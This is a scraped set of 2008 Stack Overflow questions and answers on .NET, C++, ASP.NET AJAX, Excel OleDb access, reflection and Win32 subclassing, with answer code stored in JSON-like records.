<li>SubSonic - From a short introduction, it seems too flexible. I do not want that.</li>
</ol>
<p>What will you suggest?</p>
<p><strong>EDIT:</strong></p>
<p>Thank you Craig for the elaborate answer. I think it will help more if I give more details about our custom framework. I'm looking for something similar. This is how our custom framework works:</p>
<ol>
<li>It is based on DataSets, so the first thing you do is configure the
DataSets and write queries you need there.</li>
<li>You create a XML configuration file that specifies how DataSet tables map to objects and also specify associations between them (support for all types of associations).
3.A custom tool parse the XML configuration and generate the necessary code.
4.Generated classes inherit from a common base class.</li>
</ol>
<p>To be compatible with our framework the database must meet these criteria:</p>
<ol>
<li>Each table should have a single column as primary key. </li>
<li>All tables must have a primary key of the same data type generated on the
client.</li>
<li>To handle inheritance only single table inheritance is supported. Also the XML file, almost always offers a single way to achieve something. </li>
</ol>
<p>What we want to support now is:</p>
<ul>
<li>Remove the dependency from DataSets. SQL code should be generated automatically but the framework should NOT generate the schema. I want to manually control the DB schema.</li>
<li>More robust support for inheritance hierarchies.</li>
<li>Optional integration with LINQ.</li>
</ul>
<p>I hope it is clearer now what I'm looking for.</p>
|
[
{
"answer_id": 201086,
"author": "Petros",
"author_id": 2812,
"author_profile": "https://Stackoverflow.com/users/2812",
"pm_score": 0,
"selected": false,
"text": "using (UnitOfWork uow = new UnitOfWork())\n{\n Order order = new Order(uow);\n order.Date = DateTime.Now();\n uow.CommitChanges();\n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200847",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/24065/"
] |
200,857
|
<p>Was reading up a bit on my C++, and found this article about RTTI (Runtime Type Identification):
<a href="http://msdn.microsoft.com/en-us/library/70ky2y6k(VS.80).aspx" rel="nofollow noreferrer">http://msdn.microsoft.com/en-us/library/70ky2y6k(VS.80).aspx</a> . Well, that's another subject :) - However, I stumbled upon a weird saying in the <code>type_info</code>-class, namely about the <code>::name</code>-method. It says: "The <code>type_info::name</code> member function returns a <code>const char*</code> to a null-terminated string representing the human-readable name of the type. The memory pointed to is cached and should never be directly deallocated."</p>
<p>How can you implement something like this yourself!? I've been struggling quite a bit with this exact problem often before, as I don't want to make a new <code>char</code>-array for the caller to delete, so I've stuck to <code>std::string</code> thus far.</p>
<p>So, for the sake of simplicity, let's say I want to make a method that returns <code>"Hello World!"</code>, let's call it </p>
<pre><code>const char *getHelloString() const;
</code></pre>
<p>Personally, I would make it somehow like this (Pseudo):</p>
<pre><code>const char *getHelloString() const
{
char *returnVal = new char[13];
strcpy("HelloWorld!", returnVal);
return returnVal
}
</code></pre>
<p>.. But this would mean that the caller should do a <code>delete[]</code> on my return pointer :(</p>
<p>Thx in advance</p>
|
[
{
"answer_id": 200870,
"author": "Greg Rogers",
"author_id": 5963,
"author_profile": "https://Stackoverflow.com/users/5963",
"pm_score": 5,
"selected": false,
"text": "const char *getHelloString() const\n{\n return \"HelloWorld!\";\n}\n"
},
{
"answer_id": 200886,
"author": "Martin Cote",
"author_id": 9936,
"author_profile": "https://Stackoverflow.com/users/9936",
"pm_score": -1,
"selected": false,
"text": "const char* GetHelloString()\n{\n static char buffer[256] = { 0 };\n strcpy( buffer, \"Hello World!\" );\n return buffer;\n}\n"
},
{
"answer_id": 200892,
"author": "Dan",
"author_id": 27816,
"author_profile": "https://Stackoverflow.com/users/27816",
"pm_score": 2,
"selected": false,
"text": "const char * foo() \n{\n static char[] return_val= \"HelloWorld!\";\n return return_val;\n}\n std::string const char * foo() \n{\n static std::string output;\n DoCalculation(output);\n return output.c_str();\n}\n const char *getHelloString() const;\n"
},
{
"answer_id": 201142,
"author": "Dashogun",
"author_id": 12776,
"author_profile": "https://Stackoverflow.com/users/12776",
"pm_score": 0,
"selected": false,
"text": "const /* create a hello string\n * must be deleted after use\n */\nchar *createHelloString() const\n{\n char *returnVal = new char[13];\n strcpy(\"HelloWorld!\", returnVal);\n\n return returnVal\n}\n"
},
{
"answer_id": 201168,
"author": "Richard Harrison",
"author_id": 19624,
"author_profile": "https://Stackoverflow.com/users/19624",
"pm_score": 0,
"selected": false,
"text": "class CacheNameString\n{\n private: \n char *name;\n public:\n CacheNameString():name(NULL) { }\n\n const char *make_name(const char *v)\n {\n if (name != NULL)\n free(name);\n\n name = strdup(v);\n\n return name;\n }\n\n};\n"
},
{
"answer_id": 201236,
"author": "Evan Teran",
"author_id": 13430,
"author_profile": "https://Stackoverflow.com/users/13430",
"pm_score": 0,
"selected": false,
"text": "const char *myfunction() {\n static char *str = NULL; /* this only happens once */\n delete [] str; /* delete previous cached version */\n str = new char[strlen(\"whatever\") + 1]; /* allocate space for the string and it's NUL terminator */\n strcpy(str, \"whatever\");\n return str;\n}\n"
},
{
"answer_id": 201342,
"author": "John Dibling",
"author_id": 241536,
"author_profile": "https://Stackoverflow.com/users/241536",
"pm_score": 1,
"selected": false,
"text": "const char *getHelloString() const\n{\n char *returnVal = new char[13];\n strcpy(\"HelloWorld!\", returnVal);\n\n return returnVal\n}\n int main()\n{\n char * str = getHelloString();\n delete str;\n return 0;\n}\n"
},
{
"answer_id": 202156,
"author": "Jon Trauntvein",
"author_id": 19674,
"author_profile": "https://Stackoverflow.com/users/19674",
"pm_score": 0,
"selected": false,
"text": "c_str() std::string std::type_info name()"
},
{
"answer_id": 203826,
"author": "bk1e",
"author_id": 8090,
"author_profile": "https://Stackoverflow.com/users/8090",
"pm_score": 2,
"selected": false,
"text": "type_info::name() #include <cstdio>\n#include <typeinfo>\n#include <vector> \nint main(int argc, char* argv[]) {\n std::vector<int> v;\n const type_info& ti = typeid(v);\n const char* n = ti.name();\n printf(\"%s\\n\", n);\n return 0;\n}\n type_info::name() ln 0:000> ?? n\nchar * 0x00000000`00857290\n \"class std::vector<int,class std::allocator<int> >\"\n0:000> ln 0x00000000`00857290\n0:000>\n ln type_info::name() 0:000> !heap -x 0x00000000`00857290\nEntry User Heap Segment Size PrevSize Unused Flags\n-------------------------------------------------------------------------------------------------------------\n0000000000857280 0000000000857290 0000000000850000 0000000000850000 70 40 3e busy extra fill \n malloc() <typeinfo> struct __type_info_node {\n void *memPtr;\n __type_info_node* next;\n};\n\nextern __type_info_node __type_info_root_node;\n...\n_CRTIMP_PURE const char* __CLR_OR_THIS_CALL name(__type_info_node* __ptype_info_node = &__type_info_root_node) const;\n __type_info_root_node type_info::name() type_info::raw_name() type_info::name()"
},
{
"answer_id": 2079088,
"author": "smerlin",
"author_id": 231717,
"author_profile": "https://Stackoverflow.com/users/231717",
"pm_score": 0,
"selected": false,
"text": "const char* class ICanReturnConstChars\n{\n std::stack<char*> cached_strings\n public:\n const char* yeahGiveItToMe(){\n char* newmem = new char[something];\n //write something to newmem\n cached_strings.push_back(newmem);\n return newmem;\n }\n ~ICanReturnConstChars(){\n while(!cached_strings.empty()){\n delete [] cached_strings.back()\n cached_strings.pop_back()\n }\n }\n};\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200857",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/25745/"
] |
200,858
|
<p>I just noticed that you can do this in C#:</p>
<pre><code>Unit myUnit = 5;
</code></pre>
<p>instead of having to do this:</p>
<pre><code>Unit myUnit = new Unit(5);
</code></pre>
<p>Does anyone know how I can achieve this with my own structs? I had a look at the Unit struct with reflector and noticed the TypeConverter attribute was being used, but after I created a custom TypeConverter for my struct I still couldn't get the compiler to allow this convenient syntax.</p>
|
[
{
"answer_id": 200881,
"author": "Marc Gravell",
"author_id": 23354,
"author_profile": "https://Stackoverflow.com/users/23354",
"pm_score": 6,
"selected": true,
"text": " public struct Unit\n { // the conversion operator...\n public static implicit operator Unit(int value)\n {\n return new Unit(value);\n }\n // the boring stuff...\n private readonly int value;\n public int Value { get { return value; } }\n public Unit(int value) { this.value = value; }\n }\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200858",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/21966/"
] |
200,863
|
<p>Trying to include ThickBox (from <a href="http://jquery.com/demo/thickbox/" rel="noreferrer">http://jquery.com/demo/thickbox/</a>) in an ASP.NET application.</p>
<p>Visual Studio is failing when I try to run the application with the error:
js\ThickBox\jquery-1.2.6.min.js(11): error CS1056: Unexpected character '$'</p>
<p>Using Visual Studio 2008
and jquery 1.2.6</p>
|
[
{
"answer_id": 20398941,
"author": "Lucky",
"author_id": 1799217,
"author_profile": "https://Stackoverflow.com/users/1799217",
"pm_score": 0,
"selected": false,
"text": "script type=\"text/javascript\" id=\"kk\" runat=\"server\" src=\"js/vendor/custom.modernizr.js\" \n"
},
{
"answer_id": 21830964,
"author": "Nurp",
"author_id": 1393753,
"author_profile": "https://Stackoverflow.com/users/1393753",
"pm_score": 0,
"selected": false,
"text": "onClick onClientClick"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200863",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/450139/"
] |
200,869
|
<p>I've been trying to call Page Methods from my own JavaScript code but it doesn't work. If I use jQuery AJAX I can sucessfully call the Page Methods, but I need to do this from my own JavaScript code because we can't use third-party libraries (we are building our own library).</p>
<p>Whenever I use jQuery AJAX methods I get the result of the Page Method, and when I use my custom JS methods I get whole page back from the AJAX Request.</p>
<p>There must be something different in the way jQuery handles AJAX requests. Does anyone know what could it be?</p>
<p>Below is the code I use to call the same Page Method with jQuery, which works, and the code that I'm using to call it on my own.</p>
<p><strong>jQuery</strong></p>
<pre><code>// JScript File
$(document).ready(function() {
$("#search").click(function() {
$.ajax({
type: "POST",
url: "Account.aspx/GetData",
data: "{}",
contentType: "application/json; charset=utf-8",
dataType: "json",
success: function(msg) {
// Substitui o conteúdo da DIV vom o retorno do Page Method.
displayResult(msg);
}
});
});
});
</code></pre>
<p><strong>Custom JS</strong></p>
<pre><code>function getHTTPObject() {
var xhr = false;
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else if (window.ActiveXObject) {
try {
xhr = new ActiveXObject("Msxml2.XMLHTTP");
} catch(e) {
try {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
} catch(e) {
xhr = false;
}
}
}
return xhr;
}
function prepareLinks() {
var btn = document.getElementById("search");
btn.onclick = function() {
var url = "Account.aspx/GetData"
return !grabFile(url);
}
}
function grabFile(file) {
var request = getHTTPObject();
if (request) {
displayLoading(document.getElementById("result"));
request.onreadystatechange = function() {
parseResponse(request);
};
//Abre o SOCKET
request.open("GET", file, true);
//Envia a requisição
request.send(null);
return true;
} else {
return false;
}
}
function parseResponse(request) {
if (request.readyState == 4) {
if (request.status == 200 || request.status == 304) {
var details = document.getElementById("result");
details.innerHTML = request.responseText;
fadeUp(details,255,255,153);
}
}
}
function addLoadEvent(func) {
var oldonload = window.onload;
if (typeof window.onload != 'function') {
window.onload = func;
} else {
window.onload = function() {
if (oldonload) {
oldonload();
}
func();
}
}
}
addLoadEvent(prepareLinks);
</code></pre>
<p><strong>UPDATE:</strong> I've decided to accept Stevemegson's since his answer was the actual cause to my problem. But I'd like to share with yo a few alterantives I've found to this problem.</p>
<p><em>Stevemegson's Answer</em>:
All I had to do was to change to a POST request and set the request header to JSON,that solved my problem on requesting Page Methods, but now I'm haing a hard time on handling the Response (I'll say more about that on another question).</p>
<p>Here's the right code to get this stuff:</p>
<pre><code>print("function prepareLinks() {
var list = document.getElementById("search");
list.onclick = function() {
var url = "PMS.aspx/GetData"
return !grabFile(url);
} }");
print("function grabFile(file) {
var request = getHTTPObject();
if (request) {
//Evento levantado pelo Servidor a cada mudança de Estado na
//requisição assíncrona
request.onreadystatechange = function() {
parseResponse(request);
};
//USE POST
request.open('POST', file, true);
//SET REQUEST TO JSON
request.setRequestHeader('Content-Type', 'application/json');
// SEND REQUISITION
request.send(null)
return true;
} else {
return false;
}
}");
</code></pre>
<p><em>Brendan's Answer</em>: Through Brendan's answer I did a little research on the ICallBack Interface and the ICallBackEventHandler. To my surprise that's a way to develop aspx pages using Microsoft's implementation of AJAX Request's. This turns out to be a really interesting solution, since it dosen't require any JS Library to work out and it's inside .Net Framework and I believe that only a few people know about this stuff (at least those that are around me didn't know about it at all).
If you wanna know more abou ICallBack check this <a href="http://msdn.microsoft.com/en-us/library/ms178208(VS.80).aspx" rel="nofollow noreferrer" title="How to Implement ICallBack and what's all about">link text</a> on MS or just copy and paste Brendan's answer.</p>
<p><em>A Third Solution:</em> Another solution I found was to instead of creating ASPX pages to handle my server side code I would implement HTML pages and call ASHX files that would do the same thing but they would use less bandwith than an ASPX page. One great about this solution is that I maged to make it work with POST and GET requisitions. Below is the code.</p>
<p>ASHX Code:</p>
<pre><code>print("Imports System.Web
Imports System.Web.Services
Public Class CustomHandler
Implements System.Web.IHttpHandler
Sub ProcessRequest(ByVal context As HttpContext) Implements IHttpHandler.ProcessRequest
context.Response.ContentType = "text/plain"
Dim strBuilder As New System.Text.StringBuilder
strBuilder.Append("<p>")
strBuilder.Append("Your name is: ")
strBuilder.Append("<em>")
strBuilder.Append(context.Request.Form(0))
strBuilder.Append("</em>")
strBuilder.Append("</p>")
context.Response.Write(strBuilder.ToString)
End Sub
ReadOnly Property IsReusable() As Boolean Implements IHttpHandler.IsReusable
Get
Return False
End Get End Property End Class");
</code></pre>
<p>JavaScript File:</p>
<pre><code>print("function prepareLinks() {
var list = document.getElementById("search");
list.onclick = function() {
var url = "CustomHandler.ashx"
return !grabFile(url);
}
}");
print("function grabFile(file) {
var request = getHTTPObject();
if (request) {
request.onreadystatechange = function() {
parseResponse(request);
};
//VERSÃO do POST
request.open('POST', file, true);
request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
request.send('name=Helton Valentini')
return true;
} else {
return false;
} }");
</code></pre>
<p>With any of these three options we can make asynchronous calls without use JQuery, using our own Javacript or using the resources Microsoft embeeded on .Net Framework. </p>
<p>I hope this helps our some of you.</p>
|
[
{
"answer_id": 201208,
"author": "Brendan Kendrick",
"author_id": 13473,
"author_profile": "https://Stackoverflow.com/users/13473",
"pm_score": 2,
"selected": false,
"text": "Partial Public Class state\n Implements ICallbackEventHandler\n\n Private _callbackArg As String\n\n Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load\n RegisterCallbackScript()\n End Sub\n\n Private Sub RegisterCallbackScript() \n Dim cbRef As String = Page.ClientScript.GetCallbackEventReference(Me, \"args\", \"RecieveServerData\", \"context\")\n Dim cbScript As String = \"function CallServer(args, context) {\" & cbRef & \"; }\"\n ClientScript.RegisterClientScriptBlock(Me.GetType(), \"CallServer\", cbScript, True)\n End Sub\n\n Public Sub RaiseCallbackEvent(ByVal eventArgs As String) Implements ICallbackEventHandler.RaiseCallbackEvent\n _callbackArg = eventArgs\n End Sub\n\n Private Function GetCallbackResults() As String Implements ICallbackEventHandler.GetCallbackResult\n Dim args As String() = _callbackArg.Split(CChar(\"~\"))\n If args(0) = \"search\"\n Return args(0) + \"~\" + GetSearchResults(args(1))\n End If\n End Function\n\n Private Function GetSearchResults(ByVal keyword As String) As String\n Dim htmlResults As String\n //Build your html here\n Return htmlResults \n End Function\n\nEnd Class\n function searchButtonClicked(keyword) {\n CallServer('search~' + keyword);\n}\n\nfunction RecieveServerData(arg, context) {\n var args = arg.split('~');\n switch(args[0]){\n case 'search':\n document.getElementById('result').innerHTML = args[1]\n break;\n }\n}\n"
},
{
"answer_id": 204697,
"author": "tvanfosson",
"author_id": 12950,
"author_profile": "https://Stackoverflow.com/users/12950",
"pm_score": 1,
"selected": false,
"text": " [WebMethod]\n public static Whatever GetWhatever( int someParameter, string somethingElse )\n {\n ... make a Whatever ...\n\n return whatever;\n }\n ...\n<script type=\"text/javascript\">\n function invokePageMethod(button)\n {\n var ctx = { control: button };\n var someParameter = ...get value from a control...\n var somethingElse = ...get another value from a control...\n PageMethods.GetWhatever( someParameter, somethingElse, success, failure, ctx );\n }\n\n function success(result,context) {\n ... rearrange some stuff on the page...\n }\n\n function failure(error,context) {\n ... show some error message ...\n }\n</script>\n...\n\n<asp:ScriptManager runat=\"server\" id=\"myScriptManager\" EnablePageMethods=\"true\">\n</asp:ScriptManager>\n\n...\n\n<input type=\"button\" onclick=\"invokePageMethod(this);\" value=\"Do Something\" />\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200869",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27813/"
] |
200,878
|
<p>Ok, let's see if I can make this make sense. </p>
<p>I have a program written that parses an Excel file and it works just fine. I use the following to get into the file:</p>
<pre><code>string FileToConvert = Server.MapPath(".") + "\\App_Data\\CP-ARFJN-FLAG.XLS";
string connectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + FileToConvert + ";Extended Properties=Excel 8.0;";
OleDbConnection connection = new OleDbConnection(connectionString);
connection.Open();
//this next line assumes that the file is in default Excel format with Sheet1 as the first sheet name, adjust accordingly
OleDbDataAdapter adapter = new OleDbDataAdapter("SELECT * FROM [CP-ARFJN-FLAG$]", connection);
</code></pre>
<p>and this works just fine. But when I try it on the actual file (it is supplied to me by another program) I get this error:</p>
<pre><code>System.Data.OleDb.OleDbException: External table is not in the expected format. at System.Data.OleDb.OleDbConnectionInternal..ctor(OleDbConnectionString constr, OleDbConnection connection) at System.Data.OleDb.OleDbConnectionFactory.CreateConnection(DbConnectionOptions options, Object poolGroupProviderInfo, DbConnectionPool pool, DbConnection owningObject) at System.Data.ProviderBase.DbConnectionFactory.CreateNonPooledConnection(DbConnection owningConnection, DbConnectionPoolGroup poolGroup) at System.Data.ProviderBase.DbConnectionFactory.GetConnection(DbConnection owningConnection) at System.Data.ProviderBase.DbConnectionClosed.OpenConnection(DbConnection outerConnection, DbConnectionFactory connectionFactory) at System.Data.OleDb.OleDbConnection.Open() at wetglobe.Page_Load(Object sender, EventArgs e)
</code></pre>
<p>BUT, this is where I think the problem lies. If I take that file, and save it with my local Excel, first I get this popup:</p>
<blockquote>
<p>CP-ARFJN-FLAG.XLS may contain features
that are not compatible with Text (Tab
delimited). Do you want to keep the
workbook in this format?</p>
<ul>
<li>To Keep this format, which leaves
out any incompatible features, click
Yes.</li>
<li>To preserve the features, click No.
Ten save a copy in the latest Excel
format.</li>
<li>To see what might be lost, click
Help.</li>
</ul>
</blockquote>
<p>If I click No and then save it as the current Excel format, the program will then work fine.</p>
<p>So I am assuming this is saved in some crazy old Excel format?</p>
<p>I suppose my questions would be:</p>
<ul>
<li>How can I tell what Excel version
saved this?</li>
<li>How can I parse it in its current
state?</li>
<li>-or- Can I programatically save it as a newer version?</li>
</ul>
<p>I hope that is clear... Thank you.</p>
|
[
{
"answer_id": 61722978,
"author": "4EverBalaji",
"author_id": 13515359,
"author_profile": "https://Stackoverflow.com/users/13515359",
"pm_score": -1,
"selected": false,
"text": "[OleDbException] External table is not in the expected format. at System.Data.OleDb.OleDbConnectionInternal..ctor(OleDbConnectionString constr, OleDbConnection connection)\n at System.Data.OleDb.OleDbConnectionFactory.CreateConnection(DbConnectionOptions options, DbConnectionPoolKey poolKey, Object poolGroupProviderInfo, DbConnectionPool pool, DbConnection owningObject)\n at System.Data.ProviderBase.DbConnectionFactory.CreateNonPooledConnection(DbConnection owningConnection, DbConnectionPoolGroup poolGroup, DbConnectionOptions userOptions)\n at System.Data.ProviderBase.DbConnectionFactory.TryGetConnection(DbConnection owningConnection, TaskCompletionSource`1 retry, DbConnectionOptions userOptions, DbConnectionInternal oldConnection, DbConnectionInternal& connection)\n at System.Data.ProviderBase.DbConnectionInternal.TryOpenConnectionInternal(DbConnection outerConnection, DbConnectionFactory connectionFactory, TaskCompletionSource`1 retry, DbConnectionOptions userOptions)\n at System.Data.ProviderBase.DbConnectionInternal.OpenConnection(DbConnection outerConnection, DbConnectionFactory connectionFactory)\n at System.Data.OleDb.OleDbConnection.Open()\n connection.close() connection.dispose() connection.open() connection.dispose() Oledb"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200878",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/14777/"
] |
200,887
|
<p>I'm working on a system were a user can edit existing objects ("Filter" domain objects to be exact) through a GUI. As a UI hint, we only want to enable the save button if the user really modified something to the object. I was wondering if anyone had any experience with this problem and what the best way would be to approach this.</p>
<p>I was thinking about adding an isDirty() flag to the domain object. When a user starts editing a Filter, I would then make a copy, pass it to the GUI and let the user make modifications to the copy. A binding on the isDirty() flag would then enabled/disable the save button. On saving, the differences would then be merged into the original object and persisted.</p>
<p>Additionaly, I was thinking what would happen if a user undos the changes he made to an object. The isDirty() flag should then return false. So I guess the only way to achieve this is to keep the original value of each property inside the domain object.</p>
<p>Any ideas?</p>
|
[
{
"answer_id": 202573,
"author": "Adrian",
"author_id": 11304,
"author_profile": "https://Stackoverflow.com/users/11304",
"pm_score": 2,
"selected": false,
"text": "public class Person : INotifyPropertyChanged, IEditableObject\n{\n private bool isDirty;\n\n public bool IsDirty\n {\n get { return isDirty; }\n }\n\n private string firstname = string.Empty;\n\n public string Firstname\n {\n get { return firstname; }\n set\n {\n if (firstname == value) return;\n firstname = value;\n NotifyPropertyChanged(\"Firstname\");\n }\n }\n\n private string lastname = string.Empty;\n\n public string Lastname\n {\n get { return lastname; }\n set\n {\n if (lastname == value) return;\n lastname = value;\n NotifyPropertyChanged(\"Lastname\");\n }\n }\n\n public event PropertyChangedEventHandler PropertyChanged;\n\n public void NotifyPropertyChanged(string propertyName)\n {\n isDirty = true;\n\n if (PropertyChanged != null)\n PropertyChanged(this, new PropertyChangedEventArgs(propertyName));\n }\n\n private bool inTrans;\n private Person copy;\n\n public void BeginEdit()\n {\n if (!inTrans)\n {\n if (copy == null)\n copy = new Person();\n\n copy.isDirty = isDirty;\n copy.Firstname = Firstname;\n copy.Lastname = Lastname;\n\n\n inTrans = true;\n isDirty = false;\n }\n }\n\n public void CancelEdit()\n {\n if (inTrans)\n {\n isDirty = copy.isDirty;\n Firstname = copy.Firstname;\n Lastname = copy.Lastname;\n\n inTrans = false;\n }\n }\n\n public void EndEdit()\n {\n if (inTrans)\n {\n copy = null;\n inTrans = false;\n }\n }\n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200887",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/17255/"
] |
200,890
|
<p>SUMMARY: When browsing an ASP.NET website using Windows Explorer, popup windows do not "borrow" the session cookie from the parent window.</p>
<p>DETAILS:</p>
<p>I'm working on an ASP.NET website (.NET 2.0). I use FormsAuthentication. It is a requirement to use cookies to handle the session.</p>
<p>On a page I have a button. When the user clicks it, a popup window is opened. The popup displays an ASPX page that uses session variables, previously set from the parent browser window. I've been testing the website using IE (6, 7, 8) and Firefox 2.0. On all these browsers, the popup window has access to the same session as the parent browser window and everything works ok.</p>
<p>I now have a bug raised by the client, stating that the popup window displays an error. Looking at the log file, I can see that it is a NullReferenceException at the moment the popup page tries to access the session variables. Talking with the client, he said that he opened the main website in Windows Explorer !!!</p>
<p>I've managed to recreate the issue on a test machine and saw that the popup is using a new session.</p>
<p>The machine must have Win XP an IE6 installed ! With IE7 the website works ok.</p>
|
[
{
"answer_id": 202573,
"author": "Adrian",
"author_id": 11304,
"author_profile": "https://Stackoverflow.com/users/11304",
"pm_score": 2,
"selected": false,
"text": "public class Person : INotifyPropertyChanged, IEditableObject\n{\n private bool isDirty;\n\n public bool IsDirty\n {\n get { return isDirty; }\n }\n\n private string firstname = string.Empty;\n\n public string Firstname\n {\n get { return firstname; }\n set\n {\n if (firstname == value) return;\n firstname = value;\n NotifyPropertyChanged(\"Firstname\");\n }\n }\n\n private string lastname = string.Empty;\n\n public string Lastname\n {\n get { return lastname; }\n set\n {\n if (lastname == value) return;\n lastname = value;\n NotifyPropertyChanged(\"Lastname\");\n }\n }\n\n public event PropertyChangedEventHandler PropertyChanged;\n\n public void NotifyPropertyChanged(string propertyName)\n {\n isDirty = true;\n\n if (PropertyChanged != null)\n PropertyChanged(this, new PropertyChangedEventArgs(propertyName));\n }\n\n private bool inTrans;\n private Person copy;\n\n public void BeginEdit()\n {\n if (!inTrans)\n {\n if (copy == null)\n copy = new Person();\n\n copy.isDirty = isDirty;\n copy.Firstname = Firstname;\n copy.Lastname = Lastname;\n\n\n inTrans = true;\n isDirty = false;\n }\n }\n\n public void CancelEdit()\n {\n if (inTrans)\n {\n isDirty = copy.isDirty;\n Firstname = copy.Firstname;\n Lastname = copy.Lastname;\n\n inTrans = false;\n }\n }\n\n public void EndEdit()\n {\n if (inTrans)\n {\n copy = null;\n inTrans = false;\n }\n }\n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200890",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27819/"
] |
200,894
|
<p>We are trying to create some tests that reference an vendors custom grid. Unfortunatly QTP only recognises it as a WinObject which is quite useless. We need to be able to navigate the grid and change cell values, double click on a cell(without using X,Y co-ordinates) etc.</p>
<p>Ideally we want to get QTP to understand that this object is a grid and treat it as one.</p>
<p>Any help would be greatly appreciated.</p>
<p>Thanks</p>
<p>Jon</p>
|
[
{
"answer_id": 201349,
"author": "Tom E",
"author_id": 9267,
"author_profile": "https://Stackoverflow.com/users/9267",
"pm_score": 1,
"selected": false,
"text": "WinObject(\"mygrid\").Object.CurRow = 1 WinObject(\"mygrid\").Object.CurCol = 1 WinObject(\"mygrid\").Object.Value = \"my new value\""
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200894",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
200,900
|
<p>I need to access some members marked internal that are declared in a third party assembly.</p>
<p>I would like to return a value from a particular internal property in a class. Then I'd like to retrieve a value from a property on that returned value. However, these properties return types that are also internal and declared in this third party assembly.</p>
<p>The examples of doing this I've seen are simple and just show returning int or bool. Can someone please give some example code that handles this more complex case?</p>
|
[
{
"answer_id": 200991,
"author": "Marc Gravell",
"author_id": 23354,
"author_profile": "https://Stackoverflow.com/users/23354",
"pm_score": 3,
"selected": true,
"text": "sing System;\nusing System.Reflection;\npublic class Foo\n{\n public Foo() {Bar = new Bar { Name = \"abc\"};}\n internal Bar Bar {get;set;}\n}\npublic class Bar\n{\n internal string Name {get;set;}\n}\nstatic class Program\n{\n static void Main()\n {\n object foo = new Foo();\n PropertyInfo prop = foo.GetType().GetProperty(\n \"Bar\", BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance);\n object bar = prop.GetValue(foo, null);\n prop = bar.GetType().GetProperty(\n \"Name\", BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance);\n object name = prop.GetValue(bar, null);\n\n Console.WriteLine(name);\n }\n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200900",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6651/"
] |
200,901
|
<p>Is the WriteFile call properly synchronous, and can I delete the file written immediately after the call?</p>
|
[
{
"answer_id": 201102,
"author": "Keith Twombley",
"author_id": 23866,
"author_profile": "https://Stackoverflow.com/users/23866",
"pm_score": 3,
"selected": false,
"text": "Response.WriteFile() Response.Flush()"
},
{
"answer_id": 1726016,
"author": "ypicasso",
"author_id": 210033,
"author_profile": "https://Stackoverflow.com/users/210033",
"pm_score": 3,
"selected": false,
"text": "Response.WriteFile(fileName); Response.Flush();\nSystem.IO.File.Delete(fullPathFileName);\nResponse.End();\n"
},
{
"answer_id": 1727646,
"author": "Joe",
"author_id": 13087,
"author_profile": "https://Stackoverflow.com/users/13087",
"pm_score": 3,
"selected": true,
"text": "HttpResponse.WriteFile Response.WriteFile Response.Flush Response.Flush MemoryStream"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200901",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/8741/"
] |
200,912
|
<p>Some files are uploaded with a reported MIME type:</p>
<pre><code>image/x-citrix-pjpeg
</code></pre>
<p>They are valid jpeg files and I accept them as such.</p>
<p>I was wondering however: why is the MIME type different?<br>
Is there any difference in the format? or was this mimetype invented by some light bulb at citrix for no apparent reason?</p>
|
[
{
"answer_id": 200963,
"author": "ConroyP",
"author_id": 2287,
"author_profile": "https://Stackoverflow.com/users/2287",
"pm_score": 3,
"selected": false,
"text": "image/x-citrix-pjpeg"
},
{
"answer_id": 646167,
"author": "Jacco",
"author_id": 22674,
"author_profile": "https://Stackoverflow.com/users/22674",
"pm_score": 5,
"selected": true,
"text": "Official image/jpeg image/pjpeg image/x-citrix-pjpeg"
},
{
"answer_id": 1297161,
"author": "Otto",
"author_id": 519,
"author_profile": "https://Stackoverflow.com/users/519",
"pm_score": 2,
"selected": false,
"text": "JPG: image/x-citrix-pjpeg\nGIF: image/x-citrix-gif\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200912",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/22674/"
] |
200,924
|
<p>I'm subclassing a native window (the edit control of a combobox...)</p>
<p>oldWndProc = SetWindowLong(HandleOfCbEditControl, GWL_WNDPROC, newWndProc);</p>
<p>In my subclassing wndproc, I'll have code like this, right, but I can't figure out the syntax for calling the oldWndProc.</p>
<pre><code> int MyWndProc(int Msg, int wParam, int lParam)
{
if (Msg.m == something I'm interested in...)
{
return something special
}
else
{
return result of call to oldWndProc <<<< What does this look like?***
}
}
</code></pre>
<p>EDIT: The word "subclassing" in this question refers to the WIN32 API meaning, not C#. Subclassing here doesn't mean overriding the .NET base class behavior. It means telling WIN32 to call your function pointer instead of the windows current callback. It has nothing to do with inheritence in C#.</p>
|
[
{
"answer_id": 201144,
"author": "Martin Plante",
"author_id": 4898,
"author_profile": "https://Stackoverflow.com/users/4898",
"pm_score": 1,
"selected": false,
"text": "[DllImport(\"user32\")]\nprivate static extern int CallWindowProc(IntPtr lpPrevWndFunc, IntPtr hWnd, int Msg, int wParam, int lParam);\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/200924",
